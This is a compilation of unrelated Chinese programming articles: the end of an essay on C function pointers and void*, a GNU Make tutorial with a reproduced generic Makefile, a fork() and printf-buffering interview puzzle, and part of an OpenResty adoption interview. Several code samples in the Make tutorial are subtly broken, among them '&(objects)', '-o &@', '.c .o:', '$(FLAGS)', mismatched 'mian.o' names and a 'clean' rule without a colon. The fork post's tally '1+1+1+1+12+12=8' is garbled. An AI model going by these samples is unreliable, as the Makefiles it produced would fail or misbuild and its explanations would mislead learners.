        ret->prev = NULL;
        ret->next = NULL;
        ret->shape = shape;
        return ret;
}

这个函数对于我们的示例而言，没有什么问题，但是它只能产生特定形状的链节，这显然不够通用。如果我们想更换一下链节的形状，例如将原来的带两个小孔的矩形铁片换成带两个小孔的椭圆形铁片，那么我们将不得不重写一个 create_elliptic_chain_node 函数。当我们这样做的时候，很容易发现 create_elliptic_chain_node 函数中同样需要下面这段代码：

        struct chain_node *ret = malloc(sizeof(struct chain_node));
        ret->prev = NULL;
        ret->next = NULL;
        ret->shape = shape;
        return ret;

如果我们要生产 100 种形状的链节，那么上述代码在不同的链节构造函数的实现中要重复出现 100 次，这样肯定不够好，因为会出现 500 行重复的代码。太多的重复的代码，这是对程序猿的最大的羞辱。

面向对象的程序猿可能会想到，我们可以为 chain_node 做一个基类，然后将上述共同的代码封装到基类的构造函数，然后在各个 chain_node 各个派生类的构造函数中制造不同形状的链节……在你要将事情搞复杂之前，建议先看一下这样的代码：

void *
rectangle_shape(void)
{
        struct pair *left_hole = pair(pair_for_double_type(1.0, 1.0), malloc_double(0.5));
        struct pair *right_hole = pair(pair_for_double_type(9.0, 1.0), malloc_double(0.5));
        struct pair *holes = pair(left_hole, right_hole);
        struct pair *body = pair_for_double_type(10.0, 1.0);
        return pair(body, holes);
}

struct chain_node *
create_chain_node(void *(*fp)(void))
{
        struct chain_node *ret = malloc(sizeof(struct chain_node));
        ret->prev = NULL;
        ret->next = NULL;
        ret->shape = fp();
        return ret;
}

看到了吧，我将 create_chain_node 函数原定义中负责创建链节形状的代码全部的抽离了出去，将它们封装到 rectangle_shape 函数中，然后再让 create_chain_node 函数接受一个函数指针形式的参数。这样，当我们需要创建带两个小孔的矩形形状的链节时，只需：

struct chain_node *rect_chain_node = create_chain_node(rectangle_shape);

如果我们像创建带两个小孔的椭圆形状的链节，可以先定义一个 elliptic_shape 函数，然后将其作为参数传给 create_chain_node，即：

struct chain_node *elliptic_chain_node = create_chain_node(elliptic_shape);

这样做，岂不是要比弄出一大堆类与继承的代码更简洁有效吗？

在 C 语言中，函数名也是一种指针，它引用了函数代码所在内存空间的基地址。所以，我们可以将 rectangle_shape 这样函数作为参数传递给 create_chain_node 函数，然后在后者中调用前者。

由于我们已经将 chain_node 结构体中的 shape 指针定义为 void * 指针了，因此对于 create_chain_node 函数所接受的函数，其返回值是 void * 没什么问题。不仅没问题，更重要的是 void *(*fp)(void) 对所有不接受参数且返回指针类型数据的函数的一种抽象。这意味着对于链节的形状，无论它的形状有多么特殊，我们总是能够定义一个不接受参数且返回指针的函数来产生这种形状，于是 create_chain_node 函数就因此具备了无限的扩展能力。

如果阿基米的德还活着，也许他会豪放的说，给我一个函数指针与一个 void *，我就能描述宇宙！

代码简化的基本原则

当你采用一切都是对象的世界观编写代码时，一旦发现一些类之间存在着共性的数据抽象，这往往意味着你需要创造一种泛型的数据容器，然后用这种容器与具体类型的数据的组合来消除那些类。

当你打算从泛型的数据容器中取数据，并希望所取的数据能够直观的模拟现实中的事物时，这往往意味着你要创造一些数据结构，然后让泛型的数据容器中存储的数据流入这些数据结构中，从而转化为有类型且具名的数据。这些数据结构就类似于各种各样的观察器或 Parser，我们通过它们解读或修改泛型容器中的数据。

当某个函数 f 中有一部分代码是与具体的问题息息相关，而另一部分代码则与具体的问题无关。为了让这个函数具备强大的扩展性，你需要将那些与具体问题息息相关的代码抽离到专用的函数中，然后再将这些专用函数传递给 f。

回避 C 指针是要付出代价的

在 C 语言中，在执行上述的代码简化基本原则时，指针是最简单明快的工具，像是著名厨师庖丁手里的刀。在静态类型语言中，任何企图回避指针的行为，必然会导致编程语言的语法复杂化或者削弱语言的表达能力。

在 C++ 中为了回避指针，发明了引用——本质上一种被弱化了的指针，结果导致 C++ 初学者经常要问『什么时候用指针，什么时候用引用』这样的问题。在智能指针未问世之前，STL 提供的泛型容器无法存储引用，为了避免在容器中存储对象时发生过多的内存复制，往往需要将指针存到容器中。当某个函数在内部创建了一个比较大的对象时，这个函数想将这个对象传递给其他对象时，这时如果不借助指针，那只能是将这个大对象作为返回值，然后引发了对象数据不止一次被复制的过程。如果在函数中 new 一个大对象，然后以指针的形式将其返回，这又与 C++ 一直想向用户掩盖指针的理想发生了矛盾……为了解决这个问题，终于在 C++ 11 里搞出来一个挺复杂挺扭曲的右值引用的办法，解决了在类的复制构造函数中偷偷的使用指针，但是类的用户却看不到指针这样的问题……

Java 回避指针的策略比 C++ 要高明一些。在 Java 中，即没有指针也没有引用。只要是类的实例（对象），无论是将其作为参数传递给函数，还是作为函数的返回值，还是将其复制给同类的其他对象，都是在传地址，而不是在传值。也就是说，Java 将所有的类实例都潜在的作为指针来用的，只有那些基本类型才是作为值来传递的。这种对数据类型进行了明确的区分的态度是值得点赞的，但是当 Java 想将一个函数（方法）传递给另一个函数（方法）时，代码就出现了扭曲，完全不能做到像 C 语言以指针的形式传递函数那样简洁直观。

C# 在指针的处理上似乎要比 Java 好得多，但是将那些使用指针的代码标定为 unsafe，这是一种歧视，类似于『嗟，来食！』。另外 C# 的指针只能用于操作值类型，也不能在泛型代码中使用。

在动态类型语言中，例如 Python，据说是一切皆引用，这样很好。也可以直接将一个函数作为参数传递给另一个函数，甚至还能在一个函数中返回一个函数，这样更好。动态类型语言在语法、抽象能力、类型安全以及资源管理方面很大程度上超越了 C、C++、Java 这些静态类型语言，但是用前者编写的程序的计算速度却往往比后者慢上一倍。

没有完美的指针，也不会有完美的编程语言，这一切皆因我们是在机器上编程，而不是在我们的大脑编程，更不是在教科书里编程。

C 程序猿的指针信条

篡改《步枪兵信条》，自娱自乐。

这是我的指针。虽有很多相似的，但这个是我的。我的指针是我的挚友，如同我的生命。我将运用它如同运用我的生命。指针没了我便是废物，我没了指针便成为废人。我将准确无误的使用我的指针，我将比敌人用的更好，我将在他的程序速度超过我之前超过他，我会超过他的。

我与我的指针知道，编程中不论动用多么优雅的语言，动用多么强大的标准库，面向多么强大的编程范式，都是没意义的。只有解决问题才有意义。我们会解决的。

我的指针是人性的，就像我一样，因为它如同我的生命。因此我将像对兄弟一样地了解它。我将了解它的弱点，它的强项，它的构成，它所指的和指向它的。我将对指针持续建立完善的知识与技艺，使它们就如同我一般整装待发。我们会成为彼此的一部分。

在上帝面前我对这信条宣誓。我与我的指针是计算机的守卫者，我们是问题的克星，我们将拯救我的程序。但愿如此，直到不需要编程，没有问题，只有休息。
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GNU Make简介

大型项目的开发过程中，往往会划分出若干个功能模块，这样可以保证软件的易维护性。

作为项目的组成部分，各个模块不可避免的存在各种联系，如果其中某个模块发生改动，那么其他的模块需要相应的更新。如果通过手动去完成这个工作的话，对于小型的项目可能还行，但是对于比较大型的项目就几乎是不可能的。

因此Linux 系统提供了一个自动维护和生成目标程序的工具 make，它可以根据各个模块的更改情况去重新编译连接目标代码。

Make 工具的作用就是实现编译连接过程的自动化。它定义了一种语言，用来描述源文件、目标文件以及可执行文件之间的关系，通过检查文件的时间戳来决定程序中哪些文件需要更新编译，并发送相应的命令。

我们在开发项目的时候，将程序划分为多个模块，分解到不同的文件中之后。当其中的某一部分发生改变之后，因为其他文件的目标源文件已经存在，所以编译器其实不需要编译全部代码来生成新的可执行文件，而只需要编译被改动的源文件，然后连接所有的目标文件就可以了，这在大型的项目开发中是非常重要的，因为这可能将编译时间从几小时缩小到几分钟。这就是Make所能做的。

Makefile文件书写规范

Makefile 文件描述了整个程序的编译、连接规则，主要包括：程序中哪些源文件需要编译以及如何编译，需要创建哪些库文件以及如何创建这些文件，如何产生最终的可执行文件等。

基本规则

# 开始的行是注释行。

如果一行太长可以用 反斜线 \ 来另起一行，相当于就是一行。

Makefile文件的作用是告诉 make工具做什么，多数情况下是如何编译连接一个程序：

目标 : 依赖
<tab键>命令


目标，往往是程序的中间或者最终生成的文件名，比如目标文件、可执行文件……

依赖，是指用来产生目标文件的输入文件名，一个目标往往依赖于一个或多个文件。

命令，是指任何一个文件发生改动之后，需要重新生成目标文件需要执行的命令，这里可以有多条命令，但是每个命令必须单独占一行，且需要注意的是，每个命令的前面必须有一个<tab键>，因为make是用过<tab>来识别命令行的，进而完成相应的动作。

例子1，首先是一个简单的 hello.c的C语言源程序：

#include<stdio.h>
int main()
{
    printf("hello world\n");
    return 0;
}


它的Makefile文件可以是：

/**
目标 : 依赖
<tab键>命令
**/
hello:hello.c
    gcc -o hello hello.c


然后在Makefile和hello.c 所在的目录下执行 make 命令，就可以编译hello.c 生成 hello可执行文件。

例子2，上面那个例子太简单，只有一个文件，下面的这个例子有三个文件和两个头文件。

大致的过程如图：


它的对应的Makefile 文件是：


example:sort.o compute.o main.o
    gcc sort.o compute.o main.o -o example
sort.o:sort.c lib1.h
    gcc -c sort.c -o sort.o
compute.o:compute.c
    gcc -c compute.c -o compute.o
main.o:main.c lib2.h
    gcc -c main.c -o mian.o


注意最后需要生成的文件，需要在Makefile 里面写在最前面，它的大致的执行的逻辑是这样的：

1) 在命令行输入 make 命令之后，make命令会首先读取当前目录下的 Makefile文件

2) make 会处理 Makefile里面的第一条规则，也就是上面的 连接生成 example可执行文件

3) 完成第一条规则之后，需要首先处理的是 example所依赖的目标文件，也就是 sort.o、compute.o、main.o，目标文件根据其依赖的源文件或者头文件是否比现在的目标文件更新，或者是目标文件是否存在来决定是否需要重新编译。目标文件处理完成之后，make才会决定是否需要重新连接生成可执行文件，存在三种情况：

　　1. 如果所有的文件都没有被编译，则编译所有的源文件，并连接生成可执行文件
　　2. 重新编译上次执行 make 命令之后修改过的源文件，生成新的目标文件，然后和已经存在的，但这次没有编译的文件重新连接生成可执行文件
　　3. 如果某个头文件在上次执行 make 命令之后被修改，则重新编译所有包含这个头文件的源文件，生成新的目标文件，然后和已经存在的，但这次没有编译的文件重新连接生成可执行文件

变量的定义和使用

Makefile 里面可以定义一个变量来代替一个字符串，这些字符串可以是目标、依赖或者是命令，以及Makefile 的其他部分，引用变量的值的时候，只需要使用 $ 就好，例子：

objects=sort.o compute.o main.o
CC=gcc
CFLAGS=-Wall -g
example:$(objects)
    $(CC) &(objects) -o example
sort.o:sort.c lib1.h
    $(CC) $(CFLAGS) -c sort.c -o sort.o
compute.o:compute.c
    $(CC) $(CFLAGS) -c compute.c -o compute.o
mian.o:mian.c lib2.h
    $(CC) $(FLAGS) -c mian.c -o mian.o


变量名是大小写敏感度的，一般命令相关的变量习惯用大写（CC），文件相关的变量习惯用小写（objects），参数相关的变量也习惯使用大写（CFLAGS）。

如果变量名是单字符，可以直接使用 $变量名来引用，$C；但是变量名为多于一个字符的字符串，在引用的时候，必须使用$(变量名) 的形式，比如 $(CFLAGS)，否则make工具只会解析第一个字符，比如 $CFLAGS，将只会解析 $C 的变量，后面的FLAGS作为普通的字符串看待，等价于$(C)FLAGS，所以就可能出错。

根据变量的定义和展方式是不同，可以将Makefile里面的变量分为：

1) 递归展开式变量

通过 = 来进行定义，引用的时候进行严格的文本替换，变量中对于其他的变量或者函数的引用在使用时候才进行展开。例子：

A=$(B)
B=$(C)
C=Hello


如果在这个Makefile 里面存在对变量 A的引用：$(A)，那么在执行make 命令的时候，变量开始替换，首先将变量 A替换为变量 B，接下来替换为变量C， 最终替换为 Hello。

递归展开式的优点是，变量定义的时候可以引用后续定义的变量。

缺点是，有可能在变量展开时出现无穷的循环，这就很蛋疼了。

2) 直接展开式变量

为了避免递归展开式变量存在的问题，所以可以使用直接展开式变量，通过:= 进行定义。变量中对于其他的变量或者函数的引用在定义时候就进行展开。

例子1

A=Hello
B:=$(A)World
A:=HI


因为是在定义的时候就展开，所以，变量B 的值是HelloWorld，而不像递归展开式中会是HIWorld（递归展开式变量中，A会持续对B造成影响），因为A首先定义为 Hello，然后定义B，因为在定义时候就展开，所以B的值是HelloWorld，而后面再重新定义A 的话是不会对B在造成影响的。

例子2

B:=$(A)World
A=Hi


则最终 B的值是 World，因为在定义B 的时候A 还没有定义，所以make 会认为A 是空。

隐含规则

隐含规则是系统或用户预先定义好的一些特殊规则，主要是一些常用的依赖关系和更新命令。

一般规则使用文件的全名，而隐含规则中出现的目标文件和依赖文件都只使用文件的扩展名。如果Makefile 文件里面没有显式给出文件的依赖关系的时候，make 就会根据文件的扩展名找到相应的隐含规则，然后按照隐含规则来更新目标。

例子，隐含规则是：

.c:
    $(CC) $(CFLAGS) -o &@ $<
.c .o:
    $(CC) $(CFLAGS) -c $<


下面给出的Makefile就是使用上面的隐含规则：

objects=sort.o compute.o mian.o
CC=gcc
CFLAGS=-Wall -g
example:$(objects)
    $(CC) $^ -o $@
sort.o:lib1.h
mian.o:lib2.h


伪目标

Makefile 文件中的目标分为两类：实目标和伪目标。

实目标是真正要生成的以文件形式存放在磁盘上的目标，上面所讲解到的都属于实目标；而伪目标不要求生成实际的文件，它主要是用于完成一些辅助操作。例子：

clean
    rm example $(objects)


在Makefile 里面增加了上面的规则之后，在命令里面输入命令：make clean 就会执行命令：rm example sort.o compute.o mian.o

但是这种书写形式不是很严谨，因为可能在当前目录下面存在文件名为 clean 的文件，因为这时候: 后面没有依赖文件，所以make 就认为这个文件是最新的，所以就不会执行 rm example sort.o compute.o mian.o

所以为了避免这种情况的发生，所以建议使用这种：

.PHONY:clean
clean:
    rm example $(objects)


这样，不管当前目录下是否存在文件名为 clean 的文件，rm example sort.o compute.o mian.o命令都会被执行。

函数

GNU make提供了很多的函数，可以在Makefile文件中调用这些函数来进行文件名、变量以及命令等的处理。

函数的调用方式与变量类似，使用 $ 符号。

1) patsubst 函数

主要用于对字符串经行运算和分析，格式是：

$(patsubst pattern,replacement,text)


例子1

$(patsubst %.c,%.o,sort.o compute.c main.c)


这个就是输出与源文件相对应的目标文件列表，输出为：

sort.o compute.o main.o


2) dir 函数

主要用于获取文件的路径，例子：

$(dir main.c)


如果main.c 在当前目录下，就会输出：

./　　//使用相对路径的形式


3) notdir 函数

抽取文件名中除了路径之外的其他字符，例子：

$(notdir /home/perfect/Mywork/C/main.c ./Makefile


输出是：

main.c Makefile


4) suffix 函数

获取文件名的后缀：

$(suffix ./main.c)


输出结果是：

.c　　//也就是 ./main.c上的后缀


通用Makefile文件

可以看出，编写一个Makefile还是很复杂的。

下面给出一个通用的Makefile 文件，其作者是应该的Gorge Foot，之所以说它是通用的，主要是因为它不需要经过修改就可以应用于大部分的项目之中：

######################################
# Copyright (c) 1997 George Foot (george.foot@merton.ox.ac.uk)
# All rights reserved.
######################################
#目标（可执行文档）名称，库（譬如stdcx,iostr,mysql等），头文件路径
DESTINATION := test
LIBS := 
INCLUDES := .


RM := rm -f
#C,CC或CPP文件的后缀
PS=cpp
# GNU Make的隐含变量定义
CC=g++
CPPFLAGS = -g -Wall -O3 -march=i486
CPPFLAGS += $(addprefix -I,$(INCLUDES))
CPPFLAGS += -MMD

#以下部分无需修改
SOURCE := $(wildcard *.$(PS))
OBJS := $(patsubst %.$(PS),%.o,$(SOURCE))
DEPS := $(patsubst %.o,%.d,$(OBJS))
MISSING_DEPS := $(filter-out $(wildcard $(DEPS)),$(DEPS))
MISSING_DEPS_SOURCES := $(wildcard $(patsubst %.d,%.$(PS),$(MISSING_DEPS)))

.PHONY : all deps objs clean rebuild

all : $(DESTINATION)

deps : $(DEPS)
         $(CC) -MM -MMD $(SOURCE)

objs : $(OBJS)

clean :
         @$(RM) *.o
         @$(RM) *.d
         @$(RM) $(DESTINATION)

rebuild: clean all 

ifneq ($(MISSING_DEPS),)
$(MISSING_DEPS) :
         @$(RM) $(patsubst %.d,%.o,$@)
endif

-include $(DEPS)

$(DESTINATION) : $(OBJS)
         $(CC) -o $(DESTINATION) $(OBJS) $(addprefix -l,$(LIBS))
#结束


简介（通过研究这个Makefile 文件可以很好的理解Makefile的规则）：


	原作者是Gorge Foot，写这个Makefile的时候还是一个学生


	":="赋值，和"="不同的是，":="在赋值的同时，会将赋值语句中所有的变量就地展开，也就是说，A:=$(B)后，B的值的改变不再影响A


	隐含规则。GUN Make在不特别指定的情况下会使用诸如以下编译命令：$(CC) $(CFLAGS) $(CPPFLAGS) $(TARGET_ARCH) -c $< -o $@，这也是为什么这个Makefile最后一个命令没有添加$(CPPFLAGS)的原因，因为缺省是包含这个变量的


	函数和变量很相似："$ (函数名，空格，一列由逗号分隔的参数)"


	SOURCES = $(wildcard .cpp) 列出工作目录下文件名满足".cpp"条件的文件，以空格分隔，并将列表赋给SOURCE变量


	patsubst函数：3个参数。功能是将第三个参数中的每一项（由空格分隔）符合第一个参数描述的部分替换成第二个参数制定的值


	addprefix函数：2个参数。将源串（第2个参数，由空格分隔）中的每一项添加前缀（第1个参数）


	filter-out函数：2个参数。从第二串中过滤掉包含在第一个串中的项


	$(CC) -MM -MMD $(SOURCE) : 对每个源文件生成依赖(dependence，Make通过依赖规则来判断是否需要重新编译某个文件)，"D"生成".d"文件，-MM表示去掉 depends里面的系统的头文件(使用<>包含的头文件)（若使用-M则全部包含，事实上，系统头文件被修改的可能性极小，不需要执行依赖检查）


	.PHONY，不检查后面制定各项是否存在同名文件


	ifneg...else...endif，Makefile中的条件语句


	-include $(DEPS) : 将DEPS中的文件包含进来，"-"表示忽略文件不存在的错误


	@$(RM) *.o : 开头的"@"表示在Make的时候，不显示这条命令（GNU Make缺省是显示的)


	all : 作为第一个出现的目标项目，Make会将它作为主要和缺省项目("make"就表示"make all")


	deps : 只生成依赖文件(.d文件)


	objs : 为每一个源码程序生成或更新 '.d' 文件和'.o'文件


	clean : 删除所有'.d','.o'和可执行文件


	rebuild : clean然后重建


	内部变量$@, $< $^ : 分别表示目标名(:前面的部分，比如all)，依靠列表（:后面的部分）中的第一个依靠文件，所有依靠文件





 一个很有趣的fork面试程序，和大家分享下经验

作者：wind3110991

来源： 一个很有趣的fork面试程序，和大家分享下经验



                    
为了暑期的腾讯实习，拿到offer之后一直在linux的道路上不断学习。

   这两天逛了下酷壳大神的blog（http://coolshell.cn/articles/7965.html），偶然看到一个关于fork小问题，虽然之前想通了，不过还是值得回味并且和大家分享下的。



  大家有兴趣可以想想，下面输出了多少个“g”？




#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
   int i;
   for(i=0; i<2; i++){
      fork();
      printf("g");
   }

   wait(NULL);
   wait(NULL);

   return 0;
}



也许你很快就说，那么简单，第一次循环，fork后2个进程，第二次再fork出4个，一共6个进程，肯定是6个“g”


恭喜你，如果我是面试官，那么你已经跪了 ＝ ＝


答案：会输出8个“g”


有一个很重要的东西是，在fork()的调用处，整个父进程空间会原模原样地复制到子进程中，包括指令，变量值，程序调用栈，环境变量，缓冲区，等等。


等等！！什么，你说全部复制过去？那么我可以解释为：

上面的那个程序为什么会输入8个“-”，这是因为printf(“-“);语句有buffer


我们来试试printf的缓冲区：


#include <stdio.h>
#include <unistd.h>    //for sleep()

int main(void)
{
    printf("/nstart the dead loop/n");
    while(1)
    {    
        printf("/b->");
        fflush(stdout);//刷新输出缓冲区
        usleep(100000);
    }
    return 1;
}



哦哦！！如果不做fflush这个动作，上边的输出便不会显示到屏幕上咯？

除非其中有换行操作或者缓冲区，这也许就是所谓的“到终端行规程”！


呃呃，不要脱离了重点，我们还是回到刚才的fork问题上～


既然我们知道了printf有缓冲区，那么，又如何？


容我引用下酷壳大神美丽的图解：





你可以清楚的看到，用阴影框标注出来的两个“最终版子进程（i＝2）”


他们在fork拷贝的时候，就将 parent的缓冲区一并拷贝过去，这时“g”还在缓冲区

那么，在输出的时候，两个子进程才一并把“g”从缓冲区输出来，那么是不是两个子进程没人多输出了一个？

1+1+1+1+12+12=8个


OK,我知道你和我一样可能有点懵懵的，我改下程序咯～


#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
   int i;
   for(i=0; i<2; i++){
      fork();
      printf("g  ppid=%d, pid=%d, i=%d ", getppid(), getpid(), i);
   }

   wait(NULL);
   wait(NULL);

   return 0;



你可以gcc下这个程序，在我的电脑里输出是这样的：


g  ppid=3082, pid=3128, i=0 g  ppid=3128, pid=3130, i=1 
g  ppid=3128, pid=3129, i=0 g  ppid=3129, pid=3131, i=1 
g  ppid=3128, pid=3129, i=0 g  ppid=3128, pid=3129, i=1 
g  ppid=3082, pid=3128, i=0 g  ppid=3082, pid=3128, i=1



可以看到ppid为3082 pid为3128的输出有3次

同样的，ppid为3128 pid为3129的输出有3次


你将显然发现，原本i＝0时应该只会有两个“g”被输出，但是现在居然诡异地多出了两个？到底是哪两个呢？

我索性标注下这个输出结果吧～


（1）g  ppid=3082, pid=3128, i=0 （5）g  ppid=3128, pid=3130, i=1 
（2）g  ppid=3128, pid=3129, i=0 （6）g  ppid=3129, pid=3131, i=1 
（3）g  ppid=3128, pid=3129, i=0 （7）g  ppid=3128, pid=3129, i=1 
（4）g  ppid=3082, pid=3128, i=0 （8）g  ppid=3082, pid=3128, i=1



明显的，（1）和（4）是“不可能”有两个的，（2）和（3）也是，现在你知道了吧，i＝0时的两个进程，在下一次fork的时候各自成为了下一个父进程，在这一次fork时，他们的信息被完全复制到了子进程，那么最后一步每一个子进程缓冲区里还存有多余的“g”（见上图）


你还可以用pstree -p | grep fork命令试下

可以得出一个树状的结构：


$ pstree -p | grep fork
|-bash(3082)-+-fork(3128)-+-fork(3129)---fork(3131)
|            |            `-fork(3130)



那么，最后我们再试试，在printf一个g的后面加上一个换行符（或者fflush）


#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
   int i;
   for(i=0; i<2; i++){
      fork();
      printf("g\n");
   }

   wait(NULL);
   wait(NULL);

   return 0;
}



输出的结果将是换行的6个“g

原因就在于，每一次换行，缓冲区的“g”，就会把数据“刷”出缓冲区



  （其实或是EOF，或是缓中区满，或是文件描述符关闭，或是主动flush，或是程序退出）




下次大家在面试的时候如果遇到这个问题，相信都可以迎刃而解了吧 ～～～

（再次感谢酷壳大神，大家对我的看法如果有问题欢迎交流！）


 OpenResty的现状、趋势、使用及学习方法

作者：河马大侠

来源： OpenResty的现状、趋势、使用及学习方法



                    
温铭，奇虎 360 企业安全服务端架构师，OpenResty 社区咨询委员会成员。一直在互联网安全公司从事服务端的开发和架构工作，致力于用互联网技术帮助企业提高安全防护。曾负责开发过木马云查杀和反钓鱼系统。

我个人之前主要是用 Python 来完成开发工作，包括云查杀和反钓鱼系统，都是 Python 完成的。在 2011 年左右接触到 nginx 的 C Module 开发，被异步的高性能颠覆了三观，只是门槛太高，一直想找一个像 Python 一样简单，像 nginx C Module 一样高效的技术。

所以在 2012 年，得知 OpenResty 这个项目的时候，我就在企业安全一个新项目里面，使用它作为服务端的主要技术。

在今年上半年开始在 Github 上面，把积累的经验写成一本电子书《OpenResty最佳实践》，并在刚过去的 11 月 14 号，以社区名义组织了 OpenResty 的第一次技术大会。

1. OpenResty 是什么，适合什么场景下使用

和大部分知名开源软件诞生在欧美国家不同，OpenResty 自身和依赖的主要组件都是金砖国家的开发者发明的，这点还挺有意思。

Nginx 是俄罗斯人发明的， Lua 是巴西几个教授发明的，中国人章亦春把 LuaJIT VM 嵌入到 Nginx 中，实现了 OpenResty 这个高性能服务端解决方案。

通过 OpenResty，你可以把 nginx 的各种功能进行自由拼接， 更重要的是，开发门槛并不高，这一切都是用强大轻巧的 Lua 语言来操控。

它主要的使用场景主要是：

在 Lua 中揉和和处理各种不同的 nginx 上游输出（Proxy，Postgres，Redis，Memcached 等）

在请求真正到达上游服务之前，Lua 可以随心所欲的做复杂的访问控制和安全检测

随心所欲的操控响应头里面的信息

从外部存储服务（比如 Redis，Memcached，MySQL，Postgres）中获取后端信息，并用这些信息来实时选择哪一个后端来完成业务访问

在内容 handler 中随意编写复杂的 Web 应用，使用 同步但依然非阻塞 的方式，访问后端数据库和其他存储

在 rewrite 阶段，通过 Lua 完成非常复杂的 URL dispatch

用 Lua 可以为 nginx 子请求和任意 location，实现高级缓存机制

组织 OpenResty 技术大会之前，我一直认为自己是一个孤独的 OpenResty 使用者，觉得自己在使用一个冷门的技术。

虽然大家都听说过 OpenResty 或者 ngx_lua，但感觉用在生产环境中使用的却少之又少，除了几个 CDN 公司外，好像没有听说过哪家知名互联网公司在使用。而 CDN 行业之所以使用，很多是受到 cloudflare 技术栈的影响，OpenResty 的作者也在国外这家 CDN 公司。

但办完这个大会，我发现使用者真的挺多，奇虎360的所有服务端团队都在使用，京东、百度、魅族、知乎、优酷、新浪这些互联网公司都在使用。有用来写 WAF、有做 CDN 调度、有做广告系统、消息推送系统，还有像我们部门一样，用作 API server 的。有些还用在非常关键的业务上，比如开涛在高可用架构分享的京东商品详情页，是我知道的 ngx_lua 最大规模的应用。

2. 奇虎企业安全服务端技术选型的标准

先说下 3 年多前做架构选型的时候，我为什么会选择 OpenResty？

其实架构如何设计并不重要，因为每家公司，每个团队，他们的公司文化和技术背景各不相同，生搬硬套会适得其反。重要的是当初为什么这么选择，中途为什么调整。

我们的产品要求单机上面，服务端提供高性能的 API 接口， QPS 至少过万，未来需要支撑到 10 万。我们并没有急于去使用 PHP 、 Python 或者其他的语言来实现功能，而是先勾勒出一个理想化的技术模型。

这个模型应该具备：

非阻塞的访问网络IO。在连接 MySQL 、Redis 和发起 HTTP 请求时，工作进程不能傻傻的等待网络IO的返回，而是需要支持事件驱动，用协程的方式让 CPU 资源更有效的去处理其他请求。很多语言并不具备这样的能力和周边库。

有完备的缓存机制。不仅需要支持 Redis 、Memcached 等外部缓存，也应该在自己的进程内有缓存系统。我们希望大部分的请求都能在一个进程中得到数据并返回，这样是最高效的方法，一旦有了网络IO和进程间的交互，性能就会受到很大影响。

同步的写代码逻辑，不要让开发者感知到回调和异步。这个也很重要，程序员也是人，代码应该更符合人的思维习惯，显式的回调和异步关键字，会打断思路，也给调试带来困难。

最好是站在巨人肩上，基于成熟的技术上搭建。采用一门全新诞生的语言和技术，需要经历语言自身发展期频繁调整的阵痛，还可能站错队。

不仅支持 Linux 平台，还需要支持 Windows 平台，这个是我们产品很特别的需求，很多中小企业用户还是习惯 Windows 的操作，不具备 Linux 的维护能力。

基于以上几点的考虑，考察了当时的一些方案，选择了 OpenResty 。

首先，它最大的特点就是用同步的代码逻辑实现非阻塞的调用，其次它有单进程内的 LRU cache 和进程间的 share DICT cache，而且它是揉合 nginx 和 LuaJIT 而产生的。而且 nginx 有 Windows 版本，虽然有非常多的限制，但这些限制都是可以解决的， nginx 官方 Windows 版本中不支持的特性，我们开源出来的版本都解决了。

第一次看到这样的方案，我觉得它肯定会颠覆高性能服务端的开发。为什么呢？在我之前的公司里，每天会有近百亿次的查询请求，而服务器只用了十台。

我们采用了 nginx C 模块 ＋ 内置在 nginx 中的 K-V 数据库（自己开发的），来实现所有的业务逻辑，达到这个目标。听上去很简单，但是过程非常艰辛，两三个十几年工作经验的大牛做了一年多才稳定下来。绝大部分开发能力不足，只能望尘莫及。而且后续的调试和维护，也会花费不少精力。

但是 OpenResty 的出现改变了这一切， OpenResty 非常的 pythonic ，适合人类的正常思维。新手经过一两个月的学习，做出来的 API， 就可以达到 nginx C 模块的性能，而且代码量大大减少，也方便调试。

3. 以奇虎和新浪为例，如何在项目中引入新技术

技术选型只是第一步，如何才能在一个产品或者项目中引入 OpenResty 这个新的技术呢？我拿奇虎企业安全和新浪移动这两家公司真实发生的案例给大家看看。我和新浪移动的周晶，都是在一个有成熟产品的部门，用一两个人的力量，把一个新技术，替换掉了原有的技术架构。但由于企业产品和个人产品的不同，方法有很大的不一样。

先说我所在奇虎企业安全。我在 2012 年初加入这个部门，当时产品主打免费，目标用户是小企业。所以架构设计上面，只考虑了几十点、几百点的终端请求，使用了非常强绑定的 Windows 平台技术，而且倾向于不用开源软件，自己新做一个更适合自己的框架。包括自己用 C++ 开发的 Web server，自己写的 PHP 路由和框架，数据存储在 sqlite 里面。

我帮忙修改了两个月 PHP 的 bug，看明白了技术架构的思路之后，就去新开的一个产品线了。这是一个实验性的产品，主要面对央企和专用网，一个网络中有上百万的终端。

刚开始没有什么人关注，我就直接采用了 Linux + OpenResty + Redis + Postgres 的开源组件，性能测试甩之前的N条街。后面这个实验性的产品，和之前的产品，合并为一个产品，技术上面就割裂为两套架构。老功能用老架构，新功能用新架构。

随着越来越多大用户的增加，原有的技术架构开始捉襟见肘，技术债务越积压越多。随着用户的抱怨，sqlite 被抛弃，全面换成 Postgres。但对于自己开发的框架还是有些敝帚自珍。

期间通过对比测试、OpenResty 培训还有多次用户性能问题排查，让开发同学们都知道这门技术的优势。快被加班压垮的开发同学，逐渐开始选择使用 OpenResty 而不是自研的框架，来进行新功能的开发，以及旧功能的迁移，来避免加班。

在产品重构的时候，之前自研的服务端框架被完全抛弃，服务端开发的同学从 8 、9 个人减少到 3 个人。在新技术的引入过程中，我们没有采用强制的举措，因为企业产品需要稳定，用户处部署的版本更新很慢。

而新浪移动周晶的实践，对大家更有参考意义。新浪移动最开始是基于 Apache，用 PHP 来处理用户请求。Apache 是同步多进程模型，在并发请求不多的情况下没有问题。

但是总是会有突发新闻，比如马航失联、文章出轨等，突发的高流量把后台压垮了几次。而且可以预见世界杯的流量也会很大，所以周晶花几个月时间，用 nginx 替换了 Apache，使用 nginx 的 fast_cgi_cache，QPS 提升了一个数量级。

新浪移动后台的接口都是使用 PHP 来实现的，在高并发下有些力不从心。而 nginx 简单的缓存虽然能满足性能，但不能满足业务精细化和数据一致性的要求，需要找 PHP 之外的解决方案，前提是让 PHP 的开发能够舒适的使用。 node.js 的回调地狱、Go 的调试不方便，都是一个阻碍。

他们最后选择了 OpenResty，而且基于 OpenResty 开源了一个 Web 框架 Vanilla（香草），模仿了 Yaf 的使用习惯，让 PHP 的开发更容易接受和上手。 Vanilla 已经在新浪移动开始使用，一些核心业务，比如高清图和体育直播，正在向这个框架迁移中。

4. 入门痛点，以及学习的正确方法

我和周晶的入门，都是自己摸着石头过河。当时除了 Python 社区「大妈」的那篇使用文章外，找不到其他的资料。

